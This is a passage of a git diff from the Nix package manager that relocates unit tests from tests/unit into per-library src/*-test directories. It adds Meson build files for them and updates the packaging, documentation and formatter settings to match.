 AC_SUBST(ENABLE_BUILD)
 
-# Building without unit tests is useful for bootstrapping with a smaller footprint
-# or running the tests in a separate derivation. Otherwise, we do compile and
-# run them.
-
-AC_ARG_ENABLE(unit-tests, AS_HELP_STRING([--disable-unit-tests],[Do not build the tests]),
-  ENABLE_UNIT_TESTS=$enableval, ENABLE_UNIT_TESTS=$ENABLE_BUILD)
-AC_SUBST(ENABLE_UNIT_TESTS)
-
-AS_IF(
-  [test "$ENABLE_BUILD" == "no" && test "$ENABLE_UNIT_TESTS" == "yes"],
-  [AC_MSG_ERROR([Cannot enable unit tests when building overall is disabled. Please do not pass '--enable-unit-tests' or do not pass '--disable-build'.])])
-
 AC_ARG_ENABLE(functional-tests, AS_HELP_STRING([--disable-functional-tests],[Do not build the tests]),
   ENABLE_FUNCTIONAL_TESTS=$enableval, ENABLE_FUNCTIONAL_TESTS=yes)
 AC_SUBST(ENABLE_FUNCTIONAL_TESTS)
@@ -365,16 +353,6 @@ if test "$gc" = yes; then
   CFLAGS="$old_CFLAGS"
 fi
 
-AS_IF([test "$ENABLE_UNIT_TESTS" == "yes"],[
-
-# Look for gtest.
-PKG_CHECK_MODULES([GTEST], [gtest_main gmock_main])
-
-# Look for rapidcheck.
-PKG_CHECK_MODULES([RAPIDCHECK], [rapidcheck rapidcheck_gtest])
-
-])
-
 # Look for nlohmann/json.
 PKG_CHECK_MODULES([NLOHMANN_JSON], [nlohmann_json >= 3.9])
 
diff --git a/doc/manual/src/contributing/hacking.md b/doc/manual/src/contributing/hacking.md
index 08ba84faa53..c128515e9ba 100644
--- a/doc/manual/src/contributing/hacking.md
+++ b/doc/manual/src/contributing/hacking.md
@@ -122,7 +122,6 @@ Run `make` with [`-e` / `--environment-overrides`](https://www.gnu.org/software/
 
   The docs can take a while to build, so you may want to disable this for local development.
 - `ENABLE_FUNCTIONAL_TESTS=yes` to enable building the functional tests.
-- `ENABLE_UNIT_TESTS=yes` to enable building the unit tests.
 - `OPTIMIZE=1` to enable optimizations.
 - `libraries=libutil programs=` to only build a specific library.
 
diff --git a/doc/manual/src/contributing/testing.md b/doc/manual/src/contributing/testing.md
index 717deabd71d..ed9c25f7a65 100644
--- a/doc/manual/src/contributing/testing.md
+++ b/doc/manual/src/contributing/testing.md
@@ -59,15 +59,15 @@ The unit tests are defined using the [googletest] and [rapidcheck] frameworks.
 > …
 > ```
 
-The tests for each Nix library (`libnixexpr`, `libnixstore`, etc..) live inside a directory `tests/unit/${library_name_without-nix}`.
-Given an interface (header) and implementation pair in the original library, say, `src/libexpr/value/context.{hh,cc}`, we write tests for it in `tests/unit/libexpr/tests/value/context.cc`, and (possibly) declare/define additional interfaces for testing purposes in `tests/unit/libexpr-support/tests/value/context.{hh,cc}`.
+The tests for each Nix library (`libnixexpr`, `libnixstore`, etc..) live inside a directory `src/${library_name_without-nix}-test`.
+Given an interface (header) and implementation pair in the original library, say, `src/libexpr/value/context.{hh,cc}`, we write tests for it in `src/libexpr-test/value/context.cc`, and (possibly) declare/define additional interfaces for testing purposes in `src/libexpr-test-support/tests/value/context.{hh,cc}`.
 
 Data for unit tests is stored in a `data` subdir of the directory for each unit test executable.
-For example, `libnixstore` code is in `src/libstore`, and its test data is in `tests/unit/libstore/data`.
-The path to the `tests/unit/data` directory is passed to the unit test executable with the environment variable `_NIX_TEST_UNIT_DATA`.
+For example, `libnixstore` code is in `src/libstore`, and its test data is in `src/libstore-test/data`.
+The path to the `src/${library_name_without-nix}-test/data` directory is passed to the unit test executable with the environment variable `_NIX_TEST_UNIT_DATA`.
 Note that each executable only gets the data for its tests.
 
-The unit test libraries are in `tests/unit/${library_name_without-nix}-lib`.
+The unit test libraries are in `src/${library_name_without-nix}-test-support`.
 All headers are in a `tests` subdirectory so they are included with `#include "tests/"`.
 
 The use of all these separate directories for the unit tests might seem inconvenient, as for example the tests are not "right next to" the part of the code they are testing.
diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix
index 8f95e788bec..b78e5f63a38 100644
--- a/maintainers/flake-module.nix
+++ b/maintainers/flake-module.nix
@@ -15,7 +15,7 @@
           excludes = [
             # We don't want to format test data
             # ''tests/(?!nixos/).*\.nix''
-            ''^tests/unit/[^/]*/data/.*$''
+            ''^src/[^/]*-test/[^/]*/data/.*$''
 
             # Don't format vendored code
             ''^doc/manual/redirects\.js$''
@@ -429,65 +429,65 @@
             ''^tests/nixos/ca-fd-leak/sender\.c''
             ''^tests/nixos/ca-fd-leak/smuggler\.c''
             ''^tests/nixos/user-sandboxing/attacker\.c''
-            ''^tests/unit/libexpr-support/tests/libexpr\.hh''
-            ''^tests/unit/libexpr-support/tests/value/context\.cc''
-            ''^tests/unit/libexpr-support/tests/value/context\.hh''
-            ''^tests/unit/libexpr/derived-path\.cc''
-            ''^tests/unit/libexpr/error_traces\.cc''
-            ''^tests/unit/libexpr/eval\.cc''
-            ''^tests/unit/libexpr/json\.cc''
-            ''^tests/unit/libexpr/main\.cc''
-            ''^tests/unit/libexpr/primops\.cc''
-            ''^tests/unit/libexpr/search-path\.cc''
-            ''^tests/unit/libexpr/trivial\.cc''
-            ''^tests/unit/libexpr/value/context\.cc''
-            ''^tests/unit/libexpr/value/print\.cc''
-            ''^tests/unit/libfetchers/public-key\.cc''
-            ''^tests/unit/libflake/flakeref\.cc''
-            ''^tests/unit/libflake/url-name\.cc''
-            ''^tests/unit/libstore-support/tests/derived-path\.cc''
-            ''^tests/unit/libstore-support/tests/derived-path\.hh''
-            ''^tests/unit/libstore-support/tests/nix_api_store\.hh''
-            ''^tests/unit/libstore-support/tests/outputs-spec\.cc''
-            ''^tests/unit/libstore-support/tests/outputs-spec\.hh''
-            ''^tests/unit/libstore-support/tests/path\.cc''
-            ''^tests/unit/libstore-support/tests/path\.hh''
-            ''^tests/unit/libstore-support/tests/protocol\.hh''
-            ''^tests/unit/libstore/common-protocol\.cc''
-            ''^tests/unit/libstore/content-address\.cc''
-            ''^tests/unit/libstore/derivation\.cc''
-            ''^tests/unit/libstore/derived-path\.cc''
-            ''^tests/unit/libstore/downstream-placeholder\.cc''
-            ''^tests/unit/libstore/machines\.cc''
-            ''^tests/unit/libstore/nar-info-disk-cache\.cc''
-            ''^tests/unit/libstore/nar-info\.cc''
-            ''^tests/unit/libstore/outputs-spec\.cc''
-            ''^tests/unit/libstore/path-info\.cc''
-            ''^tests/unit/libstore/path\.cc''
-            ''^tests/unit/libstore/serve-protocol\.cc''
-            ''^tests/unit/libstore/worker-protocol\.cc''
-            ''^tests/unit/libutil-support/tests/characterization\.hh''
-            ''^tests/unit/libutil-support/tests/hash\.cc''
-            ''^tests/unit/libutil-support/tests/hash\.hh''
-            ''^tests/unit/libutil/args\.cc''
-            ''^tests/unit/libutil/canon-path\.cc''
-            ''^tests/unit/libutil/chunked-vector\.cc''
-            ''^tests/unit/libutil/closure\.cc''
-            ''^tests/unit/libutil/compression\.cc''
-            ''^tests/unit/libutil/config\.cc''
-            ''^tests/unit/libutil/file-content-address\.cc''
-            ''^tests/unit/libutil/git\.cc''
-            ''^tests/unit/libutil/hash\.cc''
-            ''^tests/unit/libutil/hilite\.cc''
-            ''^tests/unit/libutil/json-utils\.cc''
-            ''^tests/unit/libutil/logging\.cc''
-            ''^tests/unit/libutil/lru-cache\.cc''
-            ''^tests/unit/libutil/pool\.cc''
-            ''^tests/unit/libutil/references\.cc''
-            ''^tests/unit/libutil/suggestions\.cc''
-            ''^tests/unit/libutil/tests\.cc''
-            ''^tests/unit/libutil/url\.cc''
-            ''^tests/unit/libutil/xml-writer\.cc''
+            ''^src/libexpr-test-support/tests/libexpr\.hh''
+            ''^src/libexpr-test-support/tests/value/context\.cc''
+            ''^src/libexpr-test-support/tests/value/context\.hh''
+            ''^src/libexpr-test/derived-path\.cc''
+            ''^src/libexpr-test/error_traces\.cc''
+            ''^src/libexpr-test/eval\.cc''
+            ''^src/libexpr-test/json\.cc''
+            ''^src/libexpr-test/main\.cc''
+            ''^src/libexpr-test/primops\.cc''
+            ''^src/libexpr-test/search-path\.cc''
+            ''^src/libexpr-test/trivial\.cc''
+            ''^src/libexpr-test/value/context\.cc''
+            ''^src/libexpr-test/value/print\.cc''
+            ''^src/libfetchers-test/public-key\.cc''
+            ''^src/libflake-test/flakeref\.cc''
+            ''^src/libflake-test/url-name\.cc''
+            ''^src/libstore-test-support/tests/derived-path\.cc''
+            ''^src/libstore-test-support/tests/derived-path\.hh''
+            ''^src/libstore-test-support/tests/nix_api_store\.hh''
+            ''^src/libstore-test-support/tests/outputs-spec\.cc''
+            ''^src/libstore-test-support/tests/outputs-spec\.hh''
+            ''^src/libstore-test-support/tests/path\.cc''
+            ''^src/libstore-test-support/tests/path\.hh''
+            ''^src/libstore-test-support/tests/protocol\.hh''
+            ''^src/libstore-test/common-protocol\.cc''
+            ''^src/libstore-test/content-address\.cc''
+            ''^src/libstore-test/derivation\.cc''
+            ''^src/libstore-test/derived-path\.cc''
+            ''^src/libstore-test/downstream-placeholder\.cc''
+            ''^src/libstore-test/machines\.cc''
+            ''^src/libstore-test/nar-info-disk-cache\.cc''
+            ''^src/libstore-test/nar-info\.cc''
+            ''^src/libstore-test/outputs-spec\.cc''
+            ''^src/libstore-test/path-info\.cc''
+            ''^src/libstore-test/path\.cc''
+            ''^src/libstore-test/serve-protocol\.cc''
+            ''^src/libstore-test/worker-protocol\.cc''
+            ''^src/libutil-test-support/tests/characterization\.hh''
+            ''^src/libutil-test-support/tests/hash\.cc''
+            ''^src/libutil-test-support/tests/hash\.hh''
+            ''^src/libutil-test/args\.cc''
+            ''^src/libutil-test/canon-path\.cc''
+            ''^src/libutil-test/chunked-vector\.cc''
+            ''^src/libutil-test/closure\.cc''
+            ''^src/libutil-test/compression\.cc''
+            ''^src/libutil-test/config\.cc''
+            ''^src/libutil-test/file-content-address\.cc''
+            ''^src/libutil-test/git\.cc''
+            ''^src/libutil-test/hash\.cc''
+            ''^src/libutil-test/hilite\.cc''
+            ''^src/libutil-test/json-utils\.cc''
+            ''^src/libutil-test/logging\.cc''
+            ''^src/libutil-test/lru-cache\.cc''
+            ''^src/libutil-test/pool\.cc''
+            ''^src/libutil-test/references\.cc''
+            ''^src/libutil-test/suggestions\.cc''
+            ''^src/libutil-test/tests\.cc''
+            ''^src/libutil-test/url\.cc''
+            ''^src/libutil-test/xml-writer\.cc''
           ];
         };
         shellcheck = {
@@ -666,7 +666,7 @@
             ''^tests/functional/user-envs\.sh$''
             ''^tests/functional/why-depends\.sh$''
             ''^tests/functional/zstd\.sh$''
-            ''^tests/unit/libutil/data/git/check-data\.sh$''
+            ''^src/libutil-test/data/git/check-data\.sh$''
           ];
         };
         # TODO: nixfmt, https://github.com/NixOS/nixfmt/issues/153
diff --git a/meson.build b/meson.build
index 2a3932a40f8..fb38d7ef297 100644
--- a/meson.build
+++ b/meson.build
@@ -27,8 +27,9 @@ subproject('perl')
 # Testing
 subproject('libutil-test-support')
 subproject('libutil-test')
-#subproject('libstore-test-support')
-#subproject('libstore-test')
-#subproject('libexpr-test-support')
-#subproject('libexpr-test')
-#subproject('libflake-test')
+subproject('libstore-test-support')
+subproject('libstore-test')
+subproject('libfetchers-test')
+subproject('libexpr-test-support')
+subproject('libexpr-test')
+subproject('libflake-test')
diff --git a/mk/common-test.sh b/mk/common-test.sh
index c80abd3813a..817422c402d 100644
--- a/mk/common-test.sh
+++ b/mk/common-test.sh
@@ -4,7 +4,7 @@
 # remove file extension.
 
 test_name=$(echo -n "${test?must be defined by caller (test runner)}" | sed \
-    -e "s|^tests/unit/[^/]*/data/||" \
+    -e "s|^src/[^/]*-test/data/||" \
     -e "s|^tests/functional/||" \
     -e "s|\.sh$||" \
     )
diff --git a/package.nix b/package.nix
index 158696f304b..0661dc0806f 100644
--- a/package.nix
+++ b/package.nix
@@ -52,10 +52,6 @@
 # Whether to build Nix. Useful to skip for tasks like testing existing pre-built versions of Nix
 , doBuild ? true
 
-# Run the unit tests as part of the build. See `installUnitTests` for an
-# alternative to this.
-, doCheck ? __forDefaults.canRunInstalled
-
 # Run the functional tests as part of the build.
 , doInstallCheck ? test-client != null || __forDefaults.canRunInstalled
 
@@ -88,11 +84,6 @@
 # - readline
 , readlineFlavor ? if stdenv.hostPlatform.isWindows then "readline" else "editline"
 
-# Whether to install unit tests. This is useful when cross compiling
-# since we cannot run them natively during the build, but can do so
-# later.
-, installUnitTests ? doBuild && !__forDefaults.canExecuteHost
-
 # For running the functional tests against a pre-built Nix. Probably
 # want to use in conjunction with `doBuild = false;`.
 , test-daemon ? null
@@ -118,7 +109,7 @@ let
   # things which should instead be gotten via `finalAttrs` in order to
   # work with overriding.
   attrs = {
-    inherit doBuild doCheck doInstallCheck;
+    inherit doBuild doInstallCheck;
   };
 
   mkDerivation =
@@ -134,16 +125,11 @@ in
 mkDerivation (finalAttrs: let
 
   inherit (finalAttrs)
-    doCheck
     doInstallCheck
     ;
 
   doBuild = !finalAttrs.dontBuild;
 
-  # Either running the unit tests during the build, or installing them
-  # to be run later, requiresthe unit tests to be built.
-  buildUnitTests = doCheck || installUnitTests;
-
 in {
   inherit pname version;
 
@@ -175,10 +161,8 @@ in {
           (fileset.difference ./src ./src/perl)
           ./COPYING
           ./scripts/local.mk
-        ] ++ lib.optionals buildUnitTests [
+        ] ++ lib.optionals enableManual [
           ./doc/manual
-        ] ++ lib.optionals buildUnitTests [
-          ./tests/unit
         ] ++ lib.optionals doInstallCheck [
           ./tests/functional
         ]));
@@ -191,8 +175,6 @@ in {
     # If we are doing just build or just docs, the one thing will use
     # "out". We only need additional outputs if we are doing both.
     ++ lib.optional (doBuild && enableManual) "doc"
-    ++ lib.optional installUnitTests "check"
-    ++ lib.optional doCheck "testresults"
     ;
 
   nativeBuildInputs = [
@@ -234,9 +216,6 @@ in {
     ({ inherit readline editline; }.${readlineFlavor})
   ] ++ lib.optionals enableMarkdown [
     lowdown
-  ] ++ lib.optionals buildUnitTests [
-    gtest
-    rapidcheck
   ] ++ lib.optional stdenv.isLinux libseccomp
     ++ lib.optional stdenv.hostPlatform.isx86_64 libcpuid
     # There have been issues building these dependencies
@@ -252,7 +231,6 @@ in {
   ] ++ lib.optional enableGC boehmgc;
 
   dontBuild = !attrs.doBuild;
-  doCheck = attrs.doCheck;
 
   disallowedReferences = [ boost ];
 
@@ -278,18 +256,13 @@ in {
 
   configureFlags = [
     (lib.enableFeature doBuild "build")
-    (lib.enableFeature buildUnitTests "unit-tests")
     (lib.enableFeature doInstallCheck "functional-tests")
     (lib.enableFeature enableManual "doc-gen")
     (lib.enableFeature enableGC "gc")
     (lib.enableFeature enableMarkdown "markdown")
-    (lib.enableFeature installUnitTests "install-unit-tests")
     (lib.withFeatureAs true "readline-flavor" readlineFlavor)
   ] ++ lib.optionals (!forDevShell) [
     "--sysconfdir=/etc"
-  ] ++ lib.optionals installUnitTests [
-    "--with-check-bin-dir=${builtins.placeholder "check"}/bin"
-    "--with-check-lib-dir=${builtins.placeholder "check"}/lib"
   ] ++ lib.optionals (doBuild) [
     "--with-boost=${boost}/lib"
   ] ++ lib.optionals (doBuild && stdenv.isLinux) [
@@ -375,10 +348,6 @@ in {
     platforms = lib.platforms.unix ++ lib.platforms.windows;
     mainProgram = "nix";
     broken = !(lib.all (a: a) [
-      # We cannot run or install unit tests if we don't build them or
-      # Nix proper (which they depend on).
-      (installUnitTests -> doBuild)
-      (doCheck -> doBuild)
       # The build process for the manual currently requires extracting
       # data from the Nix executable we are trying to document.
       (enableManual -> doBuild)
diff --git a/packaging/components.nix b/packaging/components.nix
index 01b4e826eba..0189f4ca3b7 100644
--- a/packaging/components.nix
+++ b/packaging/components.nix
@@ -8,18 +8,40 @@ in
   nix = callPackage ../package.nix { };
 
   nix-util = callPackage ../src/libutil/package.nix { };
+  nix-util-test-support = callPackage ../src/libutil-test-support/package.nix { };
+  nix-util-test = callPackage ../src/libutil-test/package.nix { };
+  nix-util-c = callPackage ../src/libutil-c/package.nix { };
 
-  nix-util-test-support = callPackage ../tests/unit/libutil-support/package.nix { };
+  nix-store = callPackage ../src/libstore/package.nix { };
+  nix-store-test-support = callPackage ../src/libstore-test-support/package.nix { };
+  nix-store-test = callPackage ../src/libstore-test/package.nix { };
+  nix-store-c = callPackage ../src/libstore-c/package.nix { };
 
-  nix-util-test = callPackage ../tests/unit/libutil/package.nix { };
+  nix-fetchers = callPackage ../src/libfetchers/package.nix { };
+  nix-fetchers-test = callPackage ../src/libfetchers-test/package.nix { };
+  nix-fetchers-c = callPackage ../src/libfetchers-c/package.nix { };
 
-  nix-util-c = callPackage ../src/libutil-c/package.nix { };
+  nix-expr = callPackage ../src/libexpr/package.nix { };
+  nix-expr-test-support = callPackage ../src/libexpr-test-support/package.nix { };
+  nix-expr-test = callPackage ../src/libexpr-test/package.nix { };
+  nix-expr-c = callPackage ../src/libexpr-c/package.nix { };
+
+  nix-flake = callPackage ../src/libflake/package.nix { };
+  nix-flake-c = callPackage ../src/libflake-c/package.nix { };
 
   nix-store = callPackage ../src/libstore/package.nix { };
+  nix-store-test-support = callPackage ../src/libstore-test-support/package.nix { };
+  nix-store-test = callPackage ../src/libstore-test/package.nix { };
+  nix-store-c = callPackage ../src/libstore-c/package.nix { };
 
   nix-fetchers = callPackage ../src/libfetchers/package.nix { };
+  nix-fetchers-test = callPackage ../src/libfetchers-test/package.nix { };
+  nix-fetchers-c = callPackage ../src/libfetchers-c/package.nix { };
 
   nix-expr = callPackage ../src/libexpr/package.nix { };
+  nix-expr-test-support = callPackage ../src/libexpr-test-support/package.nix { };
+  nix-expr-test = callPackage ../src/libexpr-test/package.nix { };
+  nix-expr-c = callPackage ../src/libexpr-c/package.nix { };
 
   nix-flake = callPackage ../src/libflake/package.nix { };
 
diff --git a/src/internal-api-docs/doxygen.cfg.in b/src/internal-api-docs/doxygen.cfg.in
index 9e74255813c..395e43fe188 100644
--- a/src/internal-api-docs/doxygen.cfg.in
+++ b/src/internal-api-docs/doxygen.cfg.in
@@ -38,27 +38,27 @@ GENERATE_LATEX         = NO
 # so they can expand variables despite configure variables.
 
 INPUT                  = \
-  @src@/src/libcmd \
-  @src@/src/libexpr \
-  @src@/src/libexpr/flake \
-  @src@/tests/unit/libexpr \
-  @src@/tests/unit/libexpr/value \
-  @src@/tests/unit/libexpr/test \
-  @src@/tests/unit/libexpr/test/value \
-  @src@/src/libexpr/value \
-  @src@/src/libfetchers \
-  @src@/src/libmain \
-  @src@/src/libstore \
-  @src@/src/libstore/build \
-  @src@/src/libstore/builtins \
-  @src@/tests/unit/libstore \
-  @src@/tests/unit/libstore/test \
-  @src@/src/libutil \
-  @src@/tests/unit/libutil \
-  @src@/tests/unit/libutil/test \
-  @src@/src/nix \
-  @src@/src/nix-env \
-  @src@/src/nix-store
+  @src@/libcmd \
+  @src@/libexpr \
+  @src@/libexpr/flake \
+  @src@/libexpr-test \
+  @src@/libexpr-test/value \
+  @src@/libexpr-test-support/test \
+  @src@/libexpr-test-support/test/value \
+  @src@/libexpr/value \
+  @src@/libfetchers \
+  @src@/libmain \
+  @src@/libstore \
+  @src@/libstore/build \
+  @src@/libstore/builtins \
+  @src@/libstore-test \
+  @src@/libstore-test-support/test \
+  @src@/libutil \
+  @src@/libutil-test \
+  @src@/libutil-test-support/test \
+  @src@/nix \
+  @src@/nix-env \
+  @src@/nix-store
 
 # If the MACRO_EXPANSION tag is set to YES, doxygen will expand all macro names
 # in the source code. If set to NO, only conditional compilation will be
diff --git a/src/internal-api-docs/package.nix b/src/internal-api-docs/package.nix
index fa54d55f3a7..6a3bc050155 100644
--- a/src/internal-api-docs/package.nix
+++ b/src/internal-api-docs/package.nix
@@ -28,7 +28,6 @@ stdenv.mkDerivation (finalAttrs: {
       # Source is not compiled, but still must be available for Doxygen
       # to gather comments.
       (cpp ../.)
-      (cpp ../../tests/unit)
     ];
   };
 
diff --git a/src/libexpr-test-support/.version b/src/libexpr-test-support/.version
new file mode 120000
index 00000000000..b7badcd0cc8
--- /dev/null
+++ b/src/libexpr-test-support/.version
@@ -0,0 +1 @@
+../../.version
\ No newline at end of file
diff --git a/src/libexpr-test-support/meson.build b/src/libexpr-test-support/meson.build
new file mode 100644
index 00000000000..5ab0661ca21
--- /dev/null
+++ b/src/libexpr-test-support/meson.build
@@ -0,0 +1,128 @@
+project('nix-expr-test-support', 'cpp',
+  version : files('.version'),
+  default_options : [
+    'cpp_std=c++2a',
+    # TODO(Qyriad): increase the warning level
+    'warning_level=1',
+    'debug=true',
+    'optimization=2',
+    'errorlogs=true', # Please print logs for tests that fail
+  ],
+  meson_version : '>= 1.1',
+  license : 'LGPL-2.1-or-later',
+)
+
+cxx = meson.get_compiler('cpp')
+
+# See note in ../nix-util/meson.build
+deps_private = [ ]
+
+# See note in ../nix-util/meson.build
+deps_public = [ ]
+
+# See note in ../nix-util/meson.build
+deps_public_subproject = [ ]
+
+# See note in ../nix-util/meson.build
+deps_other = [ ]
+
+foreach nix_dep : [
+  dependency('nix-util'),
+  dependency('nix-util-test-support'),
+  dependency('nix-store'),
+  dependency('nix-store-test-support'),
+  dependency('nix-expr'),
+]
+  if nix_dep.type_name() == 'internal'
+    deps_public_subproject += nix_dep
+    # subproject sadly no good for pkg-config module
+    deps_other += nix_dep
+  else
+    deps_public += nix_dep
+  endif
+endforeach
+
+rapidcheck = dependency('rapidcheck')
+deps_public += rapidcheck
+
+add_project_arguments(
+  # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
+  # It would be nice for our headers to be idempotent instead.
+  '-include', 'config-util.hh',
+  '-include', 'config-store.hh',
+  '-include', 'config-expr.hh',
+  '-Wno-deprecated-declarations',
+  '-Wimplicit-fallthrough',
+  '-Werror=switch',
+  '-Werror=switch-enum',
+  '-Wdeprecated-copy',
+  '-Wignored-qualifiers',
+  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
+  # at ~1% overhead in `nix search`.
+  #
+  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
+  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
+  '-D_GLIBCXX_ASSERTIONS=1',
+  language : 'cpp',
+)
+
+sources = files(
+  'tests/value/context.cc',
+)
+
+include_dirs = [include_directories('.')]
+
+headers = files(
+  'tests/libexpr.hh',
+  'tests/nix_api_expr.hh',
+  'tests/value/context.hh',
+)
+
+if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
+  # Windows DLLs are stricter about symbol visibility than Unix shared
+  # objects --- see https://gcc.gnu.org/wiki/Visibility for details.
+  # This is a temporary sledgehammer to export everything like on Unix,
+  # and not detail with this yet.
+  #
+  # TODO do not do this, and instead do fine-grained export annotations.
+  linker_export_flags = ['-Wl,--export-all-symbols']
+else
+  linker_export_flags = []
+endif
+
+this_library = library(
+  'nix-expr-test-support',
+  sources,
+  dependencies : deps_public + deps_private + deps_other,
+  include_directories : include_dirs,
+  # TODO: Remove `-lrapidcheck` when https://github.com/emil-e/rapidcheck/pull/326
+  #       is available. See also ../libutil/build.meson
+  link_args: linker_export_flags + ['-lrapidcheck'],
+  install : true,
+)
+
+install_headers(headers, subdir : 'nix', preserve_path : true)
+
+requires = []
+foreach dep : deps_public_subproject
+  requires += dep.name()
+endforeach
+requires += deps_public
+
+import('pkgconfig').generate(
+  this_library,
+  filebase : meson.project_name(),
+  name : 'Nix',
+  description : 'Nix Package Manager',
+  subdirs : ['nix'],
+  extra_cflags : ['-std=c++2a'],
+  requires : requires,
+  requires_private : deps_private,
+)
+
+meson.override_dependency(meson.project_name(), declare_dependency(
+  include_directories : include_dirs,
+  link_with : this_library,
+  compile_args : ['-std=c++2a'],
+  dependencies : deps_public_subproject + deps_public,
+))
diff --git a/tests/unit/libexpr-support/tests/libexpr.hh b/src/libexpr-test-support/tests/libexpr.hh
similarity index 100%
rename from tests/unit/libexpr-support/tests/libexpr.hh
rename to src/libexpr-test-support/tests/libexpr.hh
diff --git a/tests/unit/libexpr-support/tests/nix_api_expr.hh b/src/libexpr-test-support/tests/nix_api_expr.hh
similarity index 100%
rename from tests/unit/libexpr-support/tests/nix_api_expr.hh
rename to src/libexpr-test-support/tests/nix_api_expr.hh
diff --git a/tests/unit/libexpr-support/tests/value/context.cc b/src/libexpr-test-support/tests/value/context.cc
similarity index 100%
rename from tests/unit/libexpr-support/tests/value/context.cc
rename to src/libexpr-test-support/tests/value/context.cc
diff --git a/tests/unit/libexpr-support/tests/value/context.hh b/src/libexpr-test-support/tests/value/context.hh
similarity index 100%
rename from tests/unit/libexpr-support/tests/value/context.hh
rename to src/libexpr-test-support/tests/value/context.hh
diff --git a/src/libexpr-test/.version b/src/libexpr-test/.version
new file mode 120000
index 00000000000..b7badcd0cc8
--- /dev/null
+++ b/src/libexpr-test/.version
@@ -0,0 +1 @@
+../../.version
\ No newline at end of file
diff --git a/tests/unit/libexpr/derived-path.cc b/src/libexpr-test/derived-path.cc
similarity index 100%
rename from tests/unit/libexpr/derived-path.cc
rename to src/libexpr-test/derived-path.cc
diff --git a/tests/unit/libexpr/error_traces.cc b/src/libexpr-test/error_traces.cc
similarity index 100%
rename from tests/unit/libexpr/error_traces.cc
rename to src/libexpr-test/error_traces.cc
diff --git a/tests/unit/libexpr/eval.cc b/src/libexpr-test/eval.cc
similarity index 100%
rename from tests/unit/libexpr/eval.cc
rename to src/libexpr-test/eval.cc
diff --git a/tests/unit/libexpr/json.cc b/src/libexpr-test/json.cc
similarity index 100%
rename from tests/unit/libexpr/json.cc
rename to src/libexpr-test/json.cc
diff --git a/tests/unit/libexpr/main.cc b/src/libexpr-test/main.cc
similarity index 100%
rename from tests/unit/libexpr/main.cc
rename to src/libexpr-test/main.cc
diff --git a/src/libexpr-test/meson.build b/src/libexpr-test/meson.build
new file mode 100644
index 00000000000..d4b0db51f88
--- /dev/null
+++ b/src/libexpr-test/meson.build
@@ -0,0 +1,125 @@
+project('nix-expr-test', 'cpp',
+  version : files('.version'),
+  default_options : [
+    'cpp_std=c++2a',
+    # TODO(Qyriad): increase the warning level
+    'warning_level=1',
+    'debug=true',
+    'optimization=2',
+    'errorlogs=true', # Please print logs for tests that fail
+  ],
+  meson_version : '>= 1.1',
+  license : 'LGPL-2.1-or-later',
+)
+
+cxx = meson.get_compiler('cpp')
+
+# See note in ../nix-util/meson.build
+deps_private = [ ]
+
+# See note in ../nix-util/meson.build
+deps_private_subproject = [ ]
+
+# See note in ../nix-util/meson.build
+deps_other = [ ]
+
+foreach nix_dep : [
+  dependency('nix-util'),
+  dependency('nix-util-c'),
+  dependency('nix-util-test-support'),
+  dependency('nix-store'),
+  dependency('nix-store-c'),
+  dependency('nix-store-test-support'),
+  dependency('nix-expr'),
+  dependency('nix-expr-c'),
+  dependency('nix-expr-test-support'),
+]
+  if nix_dep.type_name() == 'internal'
+    deps_private_subproject += nix_dep
+    # subproject sadly no good for pkg-config module
+    deps_other += nix_dep
+  else
+    deps_private += nix_dep
+  endif
+endforeach
+
+if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
+  # Windows DLLs are stricter about symbol visibility than Unix shared
+  # objects --- see https://gcc.gnu.org/wiki/Visibility for details.
+  # This is a temporary sledgehammer to export everything like on Unix,
+  # and not detail with this yet.
+  #
+  # TODO do not do this, and instead do fine-grained export annotations.
+  linker_export_flags = ['-Wl,--export-all-symbols']
+else
+  linker_export_flags = []
+endif
+
+rapidcheck = dependency('rapidcheck')
+deps_private += rapidcheck
+
+gtest = dependency('gtest', main : true)
+deps_private += gtest
+
+add_project_arguments(
+  # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
+  # It would be nice for our headers to be idempotent instead.
+  '-include', 'config-util.hh',
+  '-include', 'config-store.hh',
+  '-include', 'config-store.hh',
+  '-include', 'config-util.h',
+  '-include', 'config-store.h',
+  '-include', 'config-expr.h',
+  '-Wno-deprecated-declarations',
+  '-Wimplicit-fallthrough',
+  '-Werror=switch',
+  '-Werror=switch-enum',
+  '-Wdeprecated-copy',
+  '-Wignored-qualifiers',
+  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
+  # at ~1% overhead in `nix search`.
+  #
+  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
+  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
+  '-D_GLIBCXX_ASSERTIONS=1',
+  language : 'cpp',
+)
+
+sources = files(
+  'derived-path.cc',
+  'error_traces.cc',
+  'eval.cc',
+  'json.cc',
+  'main.cc',
+  'nix_api_expr.cc',
+  'nix_api_external.cc',
+  'nix_api_value.cc',
+  'primops.cc',
+  'search-path.cc',
+  'trivial.cc',
+  'value/context.cc',
+  'value/print.cc',
+  'value/value.cc',
+)
+
+include_dirs = [include_directories('.')]
+
+
+this_exe = executable(
+  meson.project_name(),
+  sources,
+  dependencies : deps_private_subproject + deps_private + deps_other,
+  include_directories : include_dirs,
+  # TODO: -lrapidcheck, see ../libutil-support/build.meson
+  link_args: linker_export_flags + ['-lrapidcheck'],
+  # get main from gtest
+  install : true,
+)
+
+test(meson.project_name(), this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data'])
+
+meson.override_dependency(meson.project_name(), declare_dependency(
+  include_directories : include_dirs,
+  link_with : this_exe,
+  compile_args : ['-std=c++2a'],
+))
diff --git a/tests/unit/libexpr/nix_api_expr.cc b/src/libexpr-test/nix_api_expr.cc
similarity index 100%
rename from tests/unit/libexpr/nix_api_expr.cc
rename to src/libexpr-test/nix_api_expr.cc
diff --git a/tests/unit/libexpr/nix_api_external.cc b/src/libexpr-test/nix_api_external.cc
similarity index 100%
rename from tests/unit/libexpr/nix_api_external.cc
rename to src/libexpr-test/nix_api_external.cc
